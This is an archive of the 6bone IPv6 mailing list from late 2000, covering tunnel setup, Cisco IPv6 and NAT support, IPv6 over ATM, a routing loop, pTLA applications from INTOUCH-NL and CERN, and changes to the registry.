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Subject: Re: BOUNCE 6bone@zephyr.isi.edu: Non-member submission from [ksb <ksbn@kt.co.kr>]
To: 6bone@ISI.EDU
Date: Tue, 21 Nov 2000 15:50:58 -0800 (PST)
In-Reply-To: <200011220032.QAA08397@zephyr.isi.edu> from "owner-6bone@ISI.EDU" at Nov 21, 2000 04:32:28 PM
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% There are 13 IPv4 DNS root servers in the world.
% US has 10 DNS root servers. Sweden has 1 DNS
% root server. British England has 1 DNS root server.
% Japan has 1 DNS root server.
% 
% I hope to know how to construct IPv6 DNS root
% servers.
% I don't know the ICANN policy for IPv6 DNS root
% severs.
% 
% Will you help me?
% 
% Thank you.
% 
% --
%   Kim, Sahng-Beom / Korea Telecom
%   TEL :    +82-42-870-8322
%   FAX :    +82-42-870-8279
%   E-mail :  ksbn@kt.co.kr
% --

There is a testbed of IPv6 root servers. Further information ought
to be available after the upcoming IETF.


-- 
--bill

From 6bone-owner  Wed Nov 22 05:44:14 2000
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Date: 	Wed, 22 Nov 2000 14:43:34 +0100
From: Rafal Maszkowski <rzm@icm.edu.pl>
To: Mark Sutton <mes@capelazo.com>
Cc: 6bone@ISI.EDU
Subject: Re: Tunnel Request
Message-ID: <20001122144334.T8880@burza.icm.edu.pl>
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On Tue, Nov 21, 2000 at 12:01:42PM -0800, Mark Sutton wrote:
> Hi, I have looked through the who-is database and traced some routes
> to possible access points. The closest seems to be ipv6-gw1.pa-x.dec.com at
> 16 hops and ~60ms. bah.isi.edu is pretty good at 18 and ~65ms. Verio in 
> Seattle would seem like a logical choice but requires a trip to California
> and back. I have not contacted anyone directly yet, since I thought someone 
> with more knowledge of the actual infrastructure could make a better
> assessment than a few simple trace-routes. My address is 24.67.152.12

Maybe my scripts will be useful for somebody. They produce list pTLA and
non-pTLA 6BONE routers sorted according to # of hops and rtt and including
packets loss.  Input:
ftp://whois.6bone.net/6bone/6bone.db.gz
scripts:
ftp://ftp.6bone.pl/pub/ipv6/misc/6distance-20000215.tar.gz
sample output:
ftp://ftp.6bone.pl/pub/ipv6/conf/routers
ftp://ftp.6bone.pl/pub/ipv6/conf/routers.ptla

I am also using just traceroute and ping.  There are no docs and there are some
assumptions concerning traceroute output etc.  I was running it all on Linux RH
6.x.

R.
-- 
W iskier krzesaniu ¿ywem/Materia³ to rzecz g³ówna

From 6bone-owner  Wed Nov 22 07:00:09 2000
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Date: Wed, 22 Nov 2000 06:59:46 -0800
To: Jun-ichiro itojun Hagino <itojun@iijlab.net>
From: Bob Fink <fink@es.net>
Subject: Re: 6bone webpage updates.
Cc: 6bone@ISI.EDU
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Itojun,

At 06:29 PM 11/22/2000 +0900, Jun-ichiro itojun Hagino wrote:
>         there seem to be some obsolete links on 6bone webpage.
>         i tried to sweep some of those.

Thanks. I'll look into it and update pages appropriately.


Bob

>http://www.6bone.net/6bone_stats.html
>         BME-FSZ/HU (both): page does not exist, or reachability issue
>         CSR4/IT: page does not exist
>         DIGITAL/AU: obsolete (last update sep1997!)
>         JOIN/DE: looks obsolete, last update is jan2000
>         NIST/US: page does not exist
>         POLITO/IT: page not available.  http://www.ipv6.polito.it/ has some
>                 item in italian.
>         STACKEN/SE: perl script died with error - not sure what happened
>         TICL/UK: unreachable
>         TRUMPET/AU: working, but has Y2K issue :-) s/100/2000/ should do
>
>http://www.6bone.net/6bone_tools.html
>         GALAKTIK traceroute: no longer available
>         BME-FSZ/HU: unavailable
>         G6/FR: unavailable
>
>http://www.6bone.net/contact.html
>         alain is now with Sun:-)


From 6bone-owner  Wed Nov 22 11:18:07 2000
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From: Jae.Lee@intelsat.int
To: 6bone@ISI.EDU
Subject: Block of experimental addresses please...
Date: Wed, 22 Nov 2000 14:16:52 -0500
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Thanks to all the responses you sent me, now I have a router that talks to
Freenet6.
The latest Cisco beta image (*-is-mz.20001101) has NAT and IPv6 support
together.

Now that I have my gateway setup, I would like to grab a block of IPv6
addresses.
So far I have been using IPv6 addresses on my private network. However, now
that I am connected to the outside world, I realize I should get a block of
unique routable addresses. 
I haven't tried my ISP, but my ISP isn't ready to provide IPv6 yet and I
suppose I could get some experimental blocks.
Could someone help me, please?
Thank you in advance and happy Thanksgiving!

Sincerely,

- Jae

From 6bone-owner  Wed Nov 22 15:06:43 2000
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From: "Enno Rey" <erey@ix.urz.uni-heidelberg.de>
To: <Jae.Lee@intelsat.int>, <6bone@ISI.EDU>
Subject: RE: Cisco router, NAT, and IPv6 tunnel.
Date: Thu, 23 Nov 2000 00:06:50 +0100
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Jae,

maybe the section about NAT in

www.6bone.rnp.br/config/Commands.txt

might help you. Though I'm not sure if it works. Could you please give us
feedback?

Regards,

Enno Rey

erey@ix.urz.uni-heidelberg.de
PGP 74C0 C7E1 3875 E4EB 9B75  8B9D 5E2D 3178 685B F222

-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of
Jae.Lee@intelsat.int
Sent: Dienstag, 21. November 2000 23:28
To: 6bone@ISI.EDU
Subject: Cisco router, NAT, and IPv6 tunnel.


Hi,
I have a simple question.
I have a Cisco router that I'd like to connect to Freenet6.
The problem is that I have to use NAT on the router and IOS does not appear
to support IPv6 and NAT on the same version/release - even the latest beta
release dated June, this year doesn't seem to support it.
Any suggestions or solutions?
Thank you for your help in advance.

Sincerely,

Jae H. Lee

____
Jae H. LEE / Communications Engineer
INTELSAT
3400 International Drive NW, Washington DC 20008-3006, USA
Tel: +1-202-944-7498 / Email: Jae.Lee@INTELSAT.int





From 6bone-owner  Thu Nov 23 02:47:53 2000
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Date: Thu, 23 Nov 2000 10:43:46 +0000
To: "Enno Rey" <erey@ix.urz.uni-heidelberg.de>
From: Trevor Warwick <twarwick@cisco.com>
Subject: RE: Cisco router, NAT, and IPv6 tunnel.
Cc: <Jae.Lee@intelsat.int>, <6bone@ISI.EDU>, ipv6-support@cisco.com
In-Reply-To: <AIEDIEKCJAADIEBGDEBOMEHOCAAA.erey@ix.urz.uni-heidelberg.de
 >
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At 22/11/2000, Enno Rey wrote:
 >Jae,
 >
 >maybe the section about NAT in
 >
 >www.6bone.rnp.br/config/Commands.txt
 >
 >might help you. Though I'm not sure if it works. Could you please give us
 >feedback?

NAT-PT is not supported in the current version of the Cisco IOS IPv6 
implementation. A partial implementation was included in an earlier 11.x 
based Beta release (images called *.19990308 available on 
www.cisco.com/go/ipv6), but it has not been supported in any 12.x based 
images.   There is a team working on NAT-PT, and support will be released 
as part of Phase 2 of IPv6. The IPv6 Statement of Direction on the web page 
contains full details of what's planned for the various phases.

Please send questions about Beta or EFT IPv6 support to 
ipv6-support@cisco.com if you want to get definitive answers to questions 
about IPv6 in Cisco IOS.

--
Trevor Warwick
Cisco IOS Software Development Manager, Stockley Park, London
Tel: +44 (0)20 8756 9688



From 6bone-owner  Thu Nov 23 10:54:59 2000
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From: "Peter Curran" <pcurran@ticl.co.uk>
To: "Jun-ichiro itojun Hagino" <itojun@iijlab.net>, "Bob Fink" <fink@es.net>
Cc: <6bone@ISI.EDU>
References: <5.0.0.25.0.20001122065757.02fb3240@imap2.es.net>
Subject: Re: 6bone webpage updates.
Date: Thu, 23 Nov 2000 18:51:47 -0000
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I see I made it onto your list of bum sites :-(

Our v6 server has died with a memory problem - when I get a few hours I will
put it back together again.  Probably next week.

Cheers

Peter Curran
TICL/UK

----- Original Message -----
From: "Bob Fink" <fink@es.net>
To: "Jun-ichiro itojun Hagino" <itojun@iijlab.net>
Cc: <6bone@ISI.EDU>
Sent: Wednesday, November 22, 2000 2:59 PM
Subject: Re: 6bone webpage updates.


> Itojun,
>
> At 06:29 PM 11/22/2000 +0900, Jun-ichiro itojun Hagino wrote:
> >         there seem to be some obsolete links on 6bone webpage.
> >         i tried to sweep some of those.
>
> Thanks. I'll look into it and update pages appropriately.
>
>
> Bob
>
> >http://www.6bone.net/6bone_stats.html
> >         BME-FSZ/HU (both): page does not exist, or reachability issue
> >         CSR4/IT: page does not exist
> >         DIGITAL/AU: obsolete (last update sep1997!)
> >         JOIN/DE: looks obsolete, last update is jan2000
> >         NIST/US: page does not exist
> >         POLITO/IT: page not available.  http://www.ipv6.polito.it/ has
some
> >                 item in italian.
> >         STACKEN/SE: perl script died with error - not sure what happened
> >         TICL/UK: unreachable
> >         TRUMPET/AU: working, but has Y2K issue :-) s/100/2000/ should do
> >
> >http://www.6bone.net/6bone_tools.html
> >         GALAKTIK traceroute: no longer available
> >         BME-FSZ/HU: unavailable
> >         G6/FR: unavailable
> >
> >http://www.6bone.net/contact.html
> >         alain is now with Sun:-)
>
>


From 6bone-owner  Thu Nov 23 23:27:33 2000
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Date: Fri, 24 Nov 2000 08:27:14 +0100 (MET)
Organization: Westfaelische Wilhelms-Universitaet
From: JOIN Project Team <ipng@uni-muenster.de>
To: Bob Fink <fink@es.net>
Subject: Re: 6bone webpage updates.
Cc: 6bone@ISI.EDU
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All, Bob,  

On 22-Nov-2000 Bob Fink wrote:
> Itojun,
> 
> At 06:29 PM 11/22/2000 +0900, Jun-ichiro itojun Hagino wrote:
>>         there seem to be some obsolete links on 6bone webpage.
>>         i tried to sweep some of those.
> 
> Thanks. I'll look into it and update pages appropriately.
> 
> 
> Bob
> 
>>http://www.6bone.net/6bone_stats.html
>>         BME-FSZ/HU (both): page does not exist, or reachability issue
>>         CSR4/IT: page does not exist
>>         DIGITAL/AU: obsolete (last update sep1997!)
>>         JOIN/DE: looks obsolete, last update is jan2000

If you don't know, 
the JOIN webpages moved in january this year, the new main page is 
http://www.join.uni-muenster.de/welcome-e.html , resp. 
http://www.ipv6.uni-muenster.de/welcome-e.html for IPv6 access.
The new location of the ping statistics page is 
http://www.join.uni-muenster.de/6bone/ping-list-e.html . There are more
operating statistics, but those pages are only accessible in german 
language so far. 

Christian 

-- 
JOIN -- IP Version 6 in the WiN   Christian Schild
                  A DFN project   Westfaelische Wilhelms-Universitaet Muenster
Project Team email:               Zentrum fuer Informationsverarbeitung
           join@uni-muenster.de   Roentgenstrasse 9-13
http://www.join.uni-muenster.de   D-48149 Muenster / Germany
email: schild@uni-muenster.de,  phone: +49 251 83 31638, fax: +49 251 83 31653

From 6bone-owner  Fri Nov 24 04:09:40 2000
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Date: Fri, 24 Nov 2000 13:09:03 +0100
From: WOL - Andreas Plesner Jacobsen <apj@wol.dk>
To: 6bone@ISI.EDU
Subject: Re: Block of experimental addresses please...
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In-Reply-To: <490B4C213EC8D211851F00105A29CA5A07A1F939@admex1.adm.intelsat.int>; from Jae.Lee@intelsat.int on Wed, Nov 22, 2000 at 02:16:52PM -0500
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On Wed, Nov 22, 2000 at 02:16:52PM -0500, Jae.Lee@intelsat.int wrote:

> The latest Cisco beta image (*-is-mz.20001101) has NAT and IPv6 support
> together.

Huh? Where did you find this, I can only find .199911xx images, both on
the webpage and on the ftp in ios/beta/galing/nextlevel

-- 
Med venlig hilsen / Best Regards
  Andreas Plesner Jacobsen (System Administrator) / World Online Denmark A/S
  Peter Bangs Vej 26, 2000 Frederiksberg, Denmark
  Tlf. (+45) 38 14 70 00 - Fax (+45) 38 14 70 07

From 6bone-owner  Fri Nov 24 05:20:31 2000
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Rafal Maszkowski <rzm@icm.edu.pl>
cc: 6bone@ISI.EDU
Subject: Re: IPv6/ATM - how? 
In-reply-to: Your message of Mon, 20 Nov 2000 13:33:37 +0100.
             <20001120133337.C8880@burza.icm.edu.pl> 
Date: Fri, 24 Nov 2000 14:22:28 +0100
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 In your previous mail you wrote:

   Which protocol (MPOA, LANE, IPv4/CLIP, ...) is normally used on
   IPv6 ATM point to point links?
   
=> you can use some encapsulation on PVC (usually AAL5 SNAP, aka RFC 1483),
LANE (which is transparent) or RFC 2492 (but RFC 2492 implementations are
*very* uncommon). I think you should use AAL5 SNAP on PVC because it is
the easiest and the most common.
   
   In Cisco Commands.txt.19991126 file I see such example
   
           int atm1/0
             atm pvc 1 <VPI> <VCI> aal5snap
             map-group foo
   
           map-list foo
             ipv6 5F00:6D00::5 atm-vc 1
   
=> this is AAL5 SNAP over PVCs.

   In TEN-155 Telebit router configuration
   http://www.tbit.dk/quantum/router-info/coreconf.html
   there are entries like
   
   # IPv6 OVER ATM, WAN INTERFACE
   [...]
      ip access ACOnet -local 3ffe:8038:80:1::1 -peer 3ffe:8038:80:1::2 -mtu 9180
      ip atunnel -encapsulation 2 -vci 99
      ip bgp -peer 3ffe:8038:80:1::2 -ipv6 -rfc2283 1
      start bgp
   
   What is 'atunnel'?
   
=> my Telebit documentation is not open but I believe this is the symmetric
of the Cisco example.
   
   I plan to run long distance IPv6/ATM and I wonder what is the most
   appropriate protocol.

=> for long distance you should use some kind of PVCs...

   It could be e.g. Linux-Telebit or Linux-Cisco connection so
   interoperabity is important.

=> then static AAL5 SNAP over PVCs is the way to go.


   Now I see tunneling IPv6/IPv4/CLIP as the only alternative.

=> don't joke. The cell tax is enough...

   RFC 2492 seems to be something what could be used instead of tunneling,
   kind of IPv6 CLIP but it is not implemented on Linux.

=> I confirm. And RFC 2492 is more for LANs than WANs (ie. as in CLIP
no QoS is associated to SVCs).

   Running long
   distance LANE can be administratively difficult for us. I still do not
   understand MPOA enough to know if it could an option here.
   
=> I disagree, you understand MPOA enough (:-)!

Regards

Francis.Dupont@enst-bretagne.fr

PS: there are many IPv6 over ATM in Europe for long distance connections
(for instance the new G6 infrastructure or the Ten-155 IPv6 testbed).
You should find easily some help as the same equipments (Cisco, Telebit
and Linux) are commonly used.

From 6bone-owner  Fri Nov 24 08:43:01 2000
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From: Alessandro Motter Ren <Alessandro.Ren@vantcom.net>
To: 6bone@ISI.EDU
Subject: Just stablished the tunel.
Date: Fri, 24 Nov 2000 14:41:50 -0300
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	Could someone please ping the site ipv6.vantcom.net. I've just
stablished a IPv6<->IPv4 tunnel and I'd like to know if everythin is working
properly.
	Thanks.


   Alessandro Ren
      Network Team
         Vant Communications


From 6bone-owner  Fri Nov 24 10:02:52 2000
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: ksbn@kt.co.kr
cc: 6bone <6bone@ISI.EDU>, IPv6 Forum <members@ipv6forum.com>
Subject: Re: IPv6 DNS Root Server 
In-reply-to: Your message of Wed, 22 Nov 2000 09:35:20 +0900.
             <3A1B14C7.C36E7CCB@kt.co.kr> 
Date: Fri, 24 Nov 2000 19:04:44 +0100
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 In your previous mail you wrote:

   
   There are 13 IPv4 DNS root servers in the world.
   US has 10 DNS root servers. Sweden has 1 DNS
   root server. British England has 1 DNS root server.

=> this is wrong, RIPE has 1 DNS root server and asked RIPE NCC
to find a good place to put it (this place is in England).

   Japan has 1 DNS root server.
   
   I hope to know how to construct IPv6 DNS root
   servers.
   I don't know the ICANN policy for IPv6 DNS root
   servers.
   
=> there is at least someone who works on this. We should get good news
rather soon (perhaps at San Diego)?

Regards

Francis.Dupont@enst-bretagne.fr

PS: IMHO DNS root servers should run dual-stacks.

From 6bone-owner  Mon Nov 27 10:30:28 2000
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Date: Mon, 27 Nov 2000 13:29:39 -0500 (EST)
From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
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To: 6bone@ISI.EDU
Subject: Routing oddity towards LANCS
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All,
	I was looking to connect to ftp.cs-ipv6.lancs.ac.uk to grab some
linux net-tools upgrades using IPv6, when I discovered the host was
unreachable.  OK, so I tried a traceroute.  There seems to be a routing
loop someplace:

crc-ipv6#traceroute 3FFE:2101:0:C00::5     

Type escape sequence to abort.
Tracing the route to 3FFE:2101:0:C00::5

  1 3FFE:401:0:1::9:2 96 msec
    3FFE:80A0:0:F000::1 92 msec * 
  2 3FFE:1001:1:F013::1 236 msec 228 msec * 
  3 6bone-gw2.ipv6.cselt.it (3FFE:1001:1:100::1) 300 msec 324 msec * 
  4 uunet-uk-if.6bone-gw.ipv6.isi.edu (3FFE:1100:0:CC02::2) 656 msec 824
msec * 
  5 3FFE:800::FFFD:0:0:A 764 msec 760 msec 752 msec
  6 3FFE:2E00:E:C::3 808 msec 836 msec 852 msec
  7 6bone-gw-merit.ipv6.sics.se (3FFE:200:1:14::1) 1048 msec 956 msec 936
msec
  8 6bone-gw.6bone.pl (3FFE:200:1:A::2) 872 msec 1012 msec 1020 msec
  9 3FFE:2200:0:800B::2 1200 msec *  1076 msec
 10 3FFE:2200:0:800B::1 1196 msec 1076 msec 1052 msec
 11 3FFE:2200:0:800B::2 1508 msec 1476 msec 1788 msec
 12 3FFE:2200:0:800B::1 1360 msec *  1424 msec
 13  * 
    3FFE:2200:0:800B::2 2020 msec * 

Who's dat?

wfms


From 6bone-owner  Mon Nov 27 15:24:11 2000
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Date: Mon, 27 Nov 2000 18:24:04 -0500 (EST)
From: Dave Wiese <dave@tap.net>
To: 6bone@ISI.EDU
Subject: RIPv6/RIPng
In-Reply-To: <XFMail.20001124082714.ipng@uni-muenster.de>
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Greetings,

Does anyone have any cisco configs for rip over ipv6?  I've been trying to
make it work for a little while with no success.  I have a 2621 running
IOS 12.0.  I discovered the problem that you have to have ripv2 running
first, but now that the process is starting it is sending routes with a
metric of 16 which are being ignored at the other side.  I can make the
default route propegate properly, so i know that it is working in that
respect.  Thanx.

Also, Is IOS 12.1 availiable?

Dave
dave@tap.net


From 6bone-owner  Wed Nov 29 15:13:24 2000
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Date: Wed, 29 Nov 2000 15:13:10 -0800 (PST)
From: Warren Matthews <warrenm@SLAC.Stanford.EDU>
Subject: nic-hdl
To: 6bone@ISI.EDU
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How does one request/create a 6bone nic-handle ?

--------------------------------------------------------------------------
Warren Matthews                       If ease of use was the highest goal,
Principal Network Specialist               we'd all be driving golf carts.
Stanford Linear Accelerator Center.                          - Larry Wall.


From 6bone-owner  Wed Nov 29 17:18:15 2000
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Date: Wed, 29 Nov 2000 17:18:03 -0800
To: Warren Matthews <warrenm@SLAC.Stanford.EDU>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: nic-hdl
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Warren,

At 03:13 PM 11/29/2000 -0800, Warren Matthews wrote:

>How does one request/create a 6bone nic-handle ?


Use the Viagenie web i/f. I think it will tell you.

<http://www.viagenie.qc.ca/en/ipv6/registry/index.shtml>

But make sure you read the first link on new user info as it lets you know 
you need a CRYPT protected mntner object first.


Bob


From 6bone-owner  Thu Nov 30 12:04:22 2000
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Date: Thu, 30 Nov 2000 12:03:58 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: INTOUCH-NL 6bone pTLA request - closes 15 Dec
Cc: Pim van Pelt <pim@wise-guys.nl>
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INTOUCH-NL has requested a pTLA. The closing date for the comment period 
will be 15 December (just after the IETF meetings).  PLease send comments 
to me or the list.


Thanks,

Bob

===

>From: Pim van Pelt <pim@wise-guys.nl>
>Subject: pTLA for Intouch (NL)
>To: fink@es.net
>Date: Tue, 28 Nov 2000 16:08:54 +0100 (CET)
>
>Dear Bob,
>
>In followup to a brief discussion we had earlier regarding BGP peering
>from my router in Amsterdam (ams-ix) to others in the 6bone, you suggested
>requesting a pTLA. Here goes.
>
>I have entered some mntner object into the database and am waiting
>confirmation, and will then administer all other requested objects. Pending
>this registration, here's my application mail. I hope it suffices.
>
>Sincerely yours,
>Pim van Pelt
>
>--
>
>1a.
>There are currently 3 inet6nums assigned to Intouch (3ffe:3001:6::/48 from
>the AMSIX and 2001:658:{200,205}::/48 from TRANSMEDIA-DE).
>I have been providing connectivity to some 70 companies and individuals,
>and am currently feeding all these tunnels into the 6bone. It should be
>taken care of as soon as I have my mntner object ready.
>
>1b.
>INTOUCH-NL has a moderately large IPv4 networking status in The Netherlands.
>Currelty we exchange the full BGP tables under AS8954 with:
>1. AS3333  ops@ripe.net
>2. AS8608  peering@nl.gxn.net
>3. AS5496  peering@wirehub.net
>4. AS1103  erik-jan.bos@surfnet.nl
>5. AS8918  inoc@carrier1.net,
>which can be checked in the RIPE database. The main Cisco 3640 IP is:
>212.19.192.218 (ipv6-nikhef.intouch.net) located at the Nikhef building
>on AMS-IX.
>
>Regarding IPv6, we have been running along with the AMS-v6-IX since 1999,
>and currently exchange BGP natively under AS8954 with:
>1. AS1103  ipv6@surfnet.nl
>2. AS1200  ipv6@ams-ix.net
>3. AS1890  niels@nl.uu.net
>4. AS3333  ops@ripe.net
>5. AS5623  Henk.Steenman@icoe.att.com
>6. AS8251  promera@cistron.nl
>and non-natively with:
>AS12573 (WideXS), AS517 (XLINK-UKA), AS2914 (Verio), AS5609 (CSELT)
>AS2611 (BELNET-BE), AS8277 (Euronet BE), AS8002 (STEALTH), AS8664 (ICM-PL)
>and AS6726 (NEXTRA-SK).
>The abovementioned cisco has IPv6 number 3ffe:3000::a500:8954:1 on AMS-v6-IX
>shared medium and 3ffe:3001:6::1 on the Intouch side.
>
>1c. Our primary nameserver is ipv6.intouch.net (212.19.220.17) and backups
>for forward/reversed run on: ns1/ns2/ns3.ipng.nl.
>The primary runs bind9 and answers queries via IPv4 and IPv6. The secondaries
>run bind8 and only answer IPv4.
>
>1d. There are Open/Net/FreeBSD, Solaris8, Linux(i386/alpha) servers fully
>operational at Freeler. Eight servers in total form the test bed of appli-
>cation design and maintenence, involving IPv6 deployment.
>www.ipng.nl is our main window to the public, offering services to the IPv6
>community, such as BGP lookingglass, ping availability, mrtg graphing and
>some dynamic/static tunnelbroker.
>
>2a. There are currently four people at Intouch working with IPv6. The chief
>is Rager Ossel (RO278). I myself am Pim van Pelt (PBVP1-6BONE) and two 
>helpers
>for operational stuff are Cliff Albert (CA2-6BONE) and Wim Vandersmissen
>(currently no hdl available).
>
>2b. We are info@ipng.nl. We will be INTOUCH-NL (ipv6-site) and MNT-INTOUCH 
>(mntner)
>as soon as the information becomes available.
>
>3. There are several hundred Intouch customers, mostly via leased line or
>dial-on-demand ISDN. Several non-intouch customers (widexs.nl/pine.nl)
>have requested connectivity via our amsix native connection.
>
>4. Intouch is willing and able to abide by the current 6bone operational
>rules and policies.
>--
>---------- - -    - - -+- - -    - - ----------
>Pim van Pelt       Email: pvanpelt@wise-guys.nl
>http://www.wise-guys.nl/      GSM: +31629064049
>-----------------------------------------------



From 6bone-owner  Fri Dec  1 12:42:25 2000
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Date: Fri, 01 Dec 2000 12:42:16 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone registry changeover to Viagenie web i/f
Cc: registry@viagenie.qc.ca, David Kessens <david@iprg.nokia.com>
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6bone registry users,

We (Viagenie, David Kessens and me) are considering a change in the 
registry procedures to using only the Viagenie web i/f for all creations, 
changes and deletes. It would mean that email submittals to 
auto-dbm@whois.6bone.net would no longer work, and that you would need to 
changeover to CRYPT protected mntner objects.

At the present time approx. half the registry traffic comes from the web 
i/f, the other half from email submittal.

Before we do this, we would like to know what you thinks of this.


Thanks,

Bob



From 6bone-owner  Fri Dec  1 12:48:00 2000
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Date: Fri, 01 Dec 2000 12:47:40 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Fwd: CERN pTLA request
Cc: Joop Joosten <Joop.Joosten@cern.ch>
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CERN (the European nuclear research facility based in Geneva, Switzerland) 
has requested a pTLA. The closing date for the comment period will be 15 
December (just after the IETF meetings).  PLease send comments to me or the 
list.

CERN is an end-site with unusual circumstances as its users are scattered 
around the globe, and they have many special circuits reaching to unusual 
places. For example, they run a circuit all the way to the Chicago NAP to 
peer with various folk. Thus they are similar to large corporate intranets 
such as Cisco, etc.

In my opinion this is a reasonable request that will help further IPv6.


Thanks,

Bob

===



>Date: Fri, 1 Dec 2000 16:51:37 +0100 (MET)
>From: Joop Joosten <Joop.Joosten@cern.ch>
>To: Bob Fink <fink@es.net>
>Subject: CERN pTLA request
>
>
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>I am in the process of getting this done, not sure if it will work!
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>We are part of the QTPv6 experiment and are connected to 6TAP:
>
>Cern-atm7>sho bgp ipv6 sum
>
>Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ 
>Up/Down  State/PfxRcd
>3FFE:8036:80:2::2
>                 4   513   99061  129788   277457    0    0 23:59:21       62
>3FFE:8038:80:10::1
>                 4  8933  335778  107672   277455    0    0 4w0d          104
>
>Ar2-chicago#sho bgp ipv6 sum
>
>Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down  State/PfxR
>3FFE:3900:9::1  4  3425  455796  140557   522614    0    0 1w1d           92
>3FFE:8036:80:2::1
>                 4   513  442360  270971   522617    0    0 1d00h          74
>
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>See: http://jmj.home.cern.ch/jmj/qtp/ipv6-fwd-zone.txt
>      http://jmj.home.cern.ch/jmj/qtp/ipv6-rev-zone.txt
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>See: http://jmj.home.cern.ch/jmj/qtp/ipv6.htm
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>The composition of the support staff shall be retrievable from the 6bone
>data base, which I hope will be complete presently.
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>Mailbox will be: noc@cern.ch
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>CERN has collaborations with many laboratories  and  universities  in  the
>world.  With the advent of LHC (regional computing centres, GRID), we need
>efficient high bandwidth connections all over the world.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>We do agree.
>
>  +-----------------------------------------------------------------------+
>  |     Joop Joosten, IT Division, CERN, 1211 Geneva 23, Switzerland      |
>  |Tel: +41 22 767 3361;  Fax: +41 22 767 7155;  E-M: Joop.Joosten@cern.ch|
>  +-----------------------------------------------------------------------+



From 6bone-owner  Fri Dec  1 15:48:56 2000
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Date: Fri, 1 Dec 2000 18:48:46 -0500 (EST)
From: Jason <jslagle@toledolink.com>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@ISI.EDU>, registry@viagenie.qc.ca,
        David Kessens <david@iprg.nokia.com>
Subject: Re: 6bone registry changeover to Viagenie web i/f
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Uck.

I rather like being able to do this via email.

Jason

---
Jason Slagle - CCNA - CCDA
Network Administrator - Toledo Internet Access - Toledo Ohio
- raistlin@tacorp.net - jslagle@toledolink.com - WHOIS JS10172
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\ /   ASCII Ribbon Campaign  . 
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/ \ - NO Word docs in e-mail . 


On Fri, 1 Dec 2000, Bob Fink wrote:

> 6bone registry users,
> 
> We (Viagenie, David Kessens and me) are considering a change in the 
> registry procedures to using only the Viagenie web i/f for all creations, 
> changes and deletes. It would mean that email submittals to 
> auto-dbm@whois.6bone.net would no longer work, and that you would need to 
> changeover to CRYPT protected mntner objects.
> 
> At the present time approx. half the registry traffic comes from the web 
> i/f, the other half from email submittal.
> 
> Before we do this, we would like to know what you thinks of this.
> 
> 
> Thanks,
> 
> Bob
> 
> 


From 6bone-owner  Fri Dec  1 19:38:15 2000
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Date: Fri, 01 Dec 2000 19:38:07 -0800
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From: Bob Fink <fink@es.net>
Subject: Re: 6bone registry changeover to Viagenie web i/f
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I've already gotten enough email from folk not wanting the email interface 
to go away to tell me that it is a bad idea (David predicted this :-).

So we will use both. I'll accomplish what I want, which is new users being 
pushed to the web i/f by just emphasizing that in the writeups and web page.

Sorry to give everyone a panic attack.


Thanks,

Bob


From 6bone-owner  Fri Dec  1 22:01:11 2000
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Date: Sat, 2 Dec 2000 00:59:19 -0600 (CST)
From: "Matthew S. Hallacy" <poptix@POPTIX.NET>
To: 6BONE List <6bone@ISI.EDU>
Subject: Reverse DNS?
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Howdy,

	I'm currently trying to implement ipv6 on a test network involving
wireless lans, cisco equipment, and misc desktop's (FreeBSD, Linux, etc
al) where I work, as we're very interested in the mobility aspects of
ipv6, we're currently peering with Stealth, and have a /48 allocated to us
(3ffe:80c0:225::/48) but I've been unable to get any information regarding
reverse DNS delegation, Stealth hasn't responded, and as far as I can
tell, none of 3ffe:: is delegated beyond dot.ep.net. So I guess my
question is, what's the current status of reverse DNS (globally) for ipv6?



				Matthew S. Hallacy
				XtraTyme Technologies


From 6bone-owner  Mon Dec  4 07:25:37 2000
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Date: Mon, 4 Dec 2000 10:25:24 -0500 (EST)
From: "Robert J. Rockell" <rrockell@sprint.net>
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To: 6bone@ISI.EDU
Subject: Sprint outage today
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When:  Today; 1300 EST.

Who is affected: All customers homed to sprintlink (as well as peers).

What: upgrade Software

How much:  Approximately 20 minutes (plus bgp work)
	Statically routed customers should be back up in 10-15 minutes. BGP
	customers can expect an outage of up to a half-hour.


